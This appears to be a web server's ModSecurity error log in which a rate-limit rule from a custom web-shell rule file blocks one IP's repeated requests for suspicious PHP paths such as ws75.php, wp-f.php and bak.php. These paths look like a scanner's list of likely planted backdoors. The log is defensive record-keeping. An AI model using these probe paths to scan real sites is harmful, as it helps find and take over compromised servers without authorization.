[Sun Mar 01 01:09:28.459225 2026] [:error] [pid 31190:tid 31206] [client 20.220.8.64:27619] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gi.php"] [unique_id "aaMhSBfvwGOholYpM1FqdQAAAMA"]
[Sun Mar 01 01:09:29.073748 2026] [:error] [pid 30797:tid 30892] [client 20.220.8.64:27574] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gi.php"] [unique_id "aaMhSfQmcmSQL-3rvLADlgAAAFU"]
[Sun Mar 01 01:09:29.644286 2026] [:error] [pid 7644:tid 7650] [client 20.220.8.64:27627] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gi.php"] [unique_id "aaMhSfqeDUGmVAHX7VCT3gAAAUQ"]
[Sun Mar 01 01:09:30.237993 2026] [:error] [pid 11920:tid 11938] [client 20.220.8.64:27642] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gi.php"] [unique_id "aaMhSizLNJUKxvBorrCHoQAAAY4"]
[Sun Mar 01 01:09:30.748540 2026] [:error] [pid 11920:tid 11927] [client 20.220.8.64:27535] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaMhSizLNJUKxvBorrCHqgAAAYM"]
[Sun Mar 01 01:09:31.354232 2026] [:error] [pid 11920:tid 11926] [client 20.220.8.64:27634] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaMhSyzLNJUKxvBorrCHsAAAAYI"]
[Sun Mar 01 01:09:31.791428 2026] [:error] [pid 31190:tid 31208] [client 20.220.8.64:27459] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaMhSxfvwGOholYpM1FqhwAAAMI"]
[Sun Mar 01 01:09:32.295254 2026] [:error] [pid 31190:tid 31224] [client 20.220.8.64:27598] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaMhTBfvwGOholYpM1FqiwAAANI"]
[Sun Mar 01 01:09:32.718022 2026] [:error] [pid 11920:tid 11926] [client 20.220.8.64:27555] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaMhTCzLNJUKxvBorrCHtgAAAYI"]
[Sun Mar 01 01:09:33.205312 2026] [:error] [pid 31190:tid 31224] [client 20.220.8.64:27628] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaMhTRfvwGOholYpM1FqlAAAANI"]
[Sun Mar 01 01:09:33.723472 2026] [:error] [pid 31190:tid 31220] [client 20.220.8.64:27621] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaMhTRfvwGOholYpM1FqmgAAAM4"]
[Sun Mar 01 01:09:34.163504 2026] [:error] [pid 31190:tid 31212] [client 20.220.8.64:27593] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaMhThfvwGOholYpM1FqoAAAAMY"]
[Sun Mar 01 01:09:34.718872 2026] [:error] [pid 30798:tid 30911] [client 20.220.8.64:27536] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws75.php"] [unique_id "aaMhTsBkD73gO8wTonZbqAAAAIw"]
[Sun Mar 01 01:09:35.213557 2026] [:error] [pid 30795:tid 30826] [client 20.220.8.64:27527] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws75.php"] [unique_id "aaMhT2uI44IL94Zgti-7KgAAABI"]
[Sun Mar 01 01:09:35.715574 2026] [:error] [pid 31190:tid 31219] [client 20.220.8.64:27569] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws75.php"] [unique_id "aaMhTxfvwGOholYpM1FqrgAAAM0"]
[Sun Mar 01 01:09:36.255410 2026] [:error] [pid 30798:tid 30912] [client 20.220.8.64:27603] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws75.php"] [unique_id "aaMhUMBkD73gO8wTonZbtQAAAI0"]
[Sun Mar 01 01:09:36.803745 2026] [:error] [pid 30798:tid 30911] [client 20.220.8.64:27629] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "aaMhUMBkD73gO8wTonZb1wAAAIw"]
[Sun Mar 01 01:09:37.251813 2026] [:error] [pid 31190:tid 31221] [client 20.220.8.64:27607] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "aaMhURfvwGOholYpM1FqsgAAAM8"]
[Sun Mar 01 01:09:37.786855 2026] [:error] [pid 7644:tid 7650] [client 20.220.8.64:27576] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "aaMhUfqeDUGmVAHX7VCT7wAAAUQ"]
[Sun Mar 01 01:09:38.252054 2026] [:error] [pid 7644:tid 7664] [client 20.220.8.64:27548] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws49.php"] [unique_id "aaMhUvqeDUGmVAHX7VCT8AAAAVI"]
[Sun Mar 01 01:09:38.729809 2026] [:error] [pid 31190:tid 31210] [client 20.220.8.64:27631] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bak.php"] [unique_id "aaMhUhfvwGOholYpM1FquwAAAMQ"]
[Sun Mar 01 01:09:39.332911 2026] [:error] [pid 30795:tid 30832] [client 20.220.8.64:27589] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bak.php"] [unique_id "aaMhU2uI44IL94Zgti-7OQAAABg"]
[Sun Mar 01 01:09:39.923183 2026] [:error] [pid 11920:tid 11932] [client 20.220.8.64:27600] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bak.php"] [unique_id "aaMhUyzLNJUKxvBorrCHyAAAAYg"]
[Sun Mar 01 01:09:40.427366 2026] [:error] [pid 30798:tid 30911] [client 20.220.8.64:27632] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bak.php"] [unique_id "aaMhVMBkD73gO8wTonZb8QAAAIw"]
[Sun Mar 01 01:09:41.154697 2026] [:error] [pid 31190:tid 31217] [client 20.220.8.64:27554] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaMhVRfvwGOholYpM1FqvgAAAMs"]
[Sun Mar 01 01:09:41.706478 2026] [:error] [pid 11920:tid 11941] [client 20.220.8.64:27630] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaMhVSzLNJUKxvBorrCH0gAAAZE"]
[Sun Mar 01 01:09:42.284379 2026] [:error] [pid 31190:tid 31219] [client 20.220.8.64:27616] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaMhVhfvwGOholYpM1FqwwAAAM0"]
[Sun Mar 01 01:09:42.853873 2026] [:error] [pid 30798:tid 30902] [client 20.220.8.64:27458] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaMhVsBkD73gO8wTonZcCAAAAIM"]
[Sun Mar 01 01:09:43.316129 2026] [:error] [pid 31190:tid 31223] [client 20.220.8.64:27617] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-f.php"] [unique_id "aaMhVxfvwGOholYpM1FqxwAAANE"]
[Sun Mar 01 01:09:43.823402 2026] [:error] [pid 31190:tid 31206] [client 20.220.8.64:27518] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-f.php"] [unique_id "aaMhVxfvwGOholYpM1FqywAAAMA"]
[Sun Mar 01 01:09:44.433306 2026] [:error] [pid 30795:tid 30807] [client 20.220.8.64:27472] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-f.php"] [unique_id "aaMhWGuI44IL94Zgti-7VQAAAAA"]
[Sun Mar 01 01:09:44.980799 2026] [:error] [pid 30795:tid 30831] [client 20.220.8.64:27638] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-f.php"] [unique_id "aaMhWGuI44IL94Zgti-7VwAAABc"]
[Sun Mar 01 01:09:45.563870 2026] [:error] [pid 11920:tid 11941] [client 20.220.8.64:27457] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aaMhWSzLNJUKxvBorrCH3gAAAZE"]
[Sun Mar 01 01:09:46.034131 2026] [:error] [pid 11920:tid 11930] [client 20.220.8.64:27546] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aaMhWizLNJUKxvBorrCH4gAAAYY"]
[Sun Mar 01 01:09:46.550425 2026] [:error] [pid 11920:tid 11932] [client 20.220.8.64:27522] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aaMhWizLNJUKxvBorrCH5gAAAYg"]
[Sun Mar 01 01:09:47.072869 2026] [:error] [pid 11920:tid 11926] [client 20.220.8.64:27608] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aaMhWyzLNJUKxvBorrCH6QAAAYI"]
[Sun Mar 01 01:09:47.612876 2026] [:error] [pid 11920:tid 11934] [client 20.220.8.64:27533] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "aaMhWyzLNJUKxvBorrCH7wAAAYo"]
[Sun Mar 01 01:09:48.223307 2026] [:error] [pid 31190:tid 31226] [client 20.220.8.64:27537] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "aaMhXBfvwGOholYpM1Fq5QAAANQ"]
[Sun Mar 01 01:09:48.824868 2026] [:error] [pid 30798:tid 30907] [client 20.220.8.64:27528] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "aaMhXMBkD73gO8wTonZcMAAAAIg"]
[Sun Mar 01 01:09:49.436957 2026] [:error] [pid 30798:tid 30902] [client 20.220.8.64:27540] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "aaMhXcBkD73gO8wTonZcMgAAAIM"]
[Sun Mar 01 01:09:50.118884 2026] [:error] [pid 11920:tid 11925] [client 20.220.8.64:27561] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaMhXizLNJUKxvBorrCH-gAAAYE"]
[Sun Mar 01 01:09:50.738747 2026] [:error] [pid 11920:tid 11935] [client 20.220.8.64:27539] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaMhXizLNJUKxvBorrCH_gAAAYs"]
[Sun Mar 01 01:09:51.221234 2026] [:error] [pid 11920:tid 11924] [client 20.220.8.64:27587] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaMhXyzLNJUKxvBorrCIAgAAAYA"]
[Sun Mar 01 01:09:51.820040 2026] [:error] [pid 11920:tid 11942] [client 20.220.8.64:27604] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaMhXyzLNJUKxvBorrCICQAAAZI"]
[Sun Mar 01 01:09:52.344594 2026] [:error] [pid 30798:tid 30922] [client 20.220.8.64:27645] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaMhYMBkD73gO8wTonZcQQAAAJY"]
[Sun Mar 01 01:09:52.812641 2026] [:error] [pid 30798:tid 30906] [client 20.220.8.64:27622] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaMhYMBkD73gO8wTonZcRAAAAIc"]
[Sun Mar 01 01:09:53.265990 2026] [:error] [pid 30798:tid 30908] [client 20.220.8.64:27567] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaMhYcBkD73gO8wTonZcRgAAAIk"]
[Sun Mar 01 01:09:53.797328 2026] [:error] [pid 31190:tid 31220] [client 20.220.8.64:27550] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0bb45ctt.php"] [unique_id "aaMhYRfvwGOholYpM1Fq8QAAAM4"]
[Sun Mar 01 01:09:54.260163 2026] [:error] [pid 30798:tid 30906] [client 20.220.8.64:27609] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "aaMhYsBkD73gO8wTonZcUgAAAIc"]
[Sun Mar 01 01:09:54.776799 2026] [:error] [pid 7644:tid 7661] [client 20.220.8.64:27469] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "aaMhYvqeDUGmVAHX7VCT9AAAAU8"]
[Sun Mar 01 01:09:55.359978 2026] [:error] [pid 31190:tid 31221] [client 20.220.8.64:27526] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "aaMhYxfvwGOholYpM1Fq9QAAAM8"]
[Sun Mar 01 01:09:56.046686 2026] [:error] [pid 30798:tid 30924] [client 20.220.8.64:27538] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "aaMhZMBkD73gO8wTonZcYQAAAJg"]
[Sun Mar 01 01:09:56.582377 2026] [:error] [pid 30798:tid 30920] [client 20.220.8.64:27565] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "aaMhZMBkD73gO8wTonZcZQAAAJQ"]
[Sun Mar 01 01:09:57.231716 2026] [:error] [pid 31190:tid 31229] [client 20.220.8.64:27530] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "aaMhZRfvwGOholYpM1Fq_QAAANc"]
[Sun Mar 01 01:09:57.804024 2026] [:error] [pid 7644:tid 7666] [client 20.220.8.64:27461] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "aaMhZfqeDUGmVAHX7VCT-gAAAVQ"]
[Sun Mar 01 01:09:58.647101 2026] [:error] [pid 30798:tid 30905] [client 20.220.8.64:27490] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "aaMhZsBkD73gO8wTonZcdwAAAIY"]
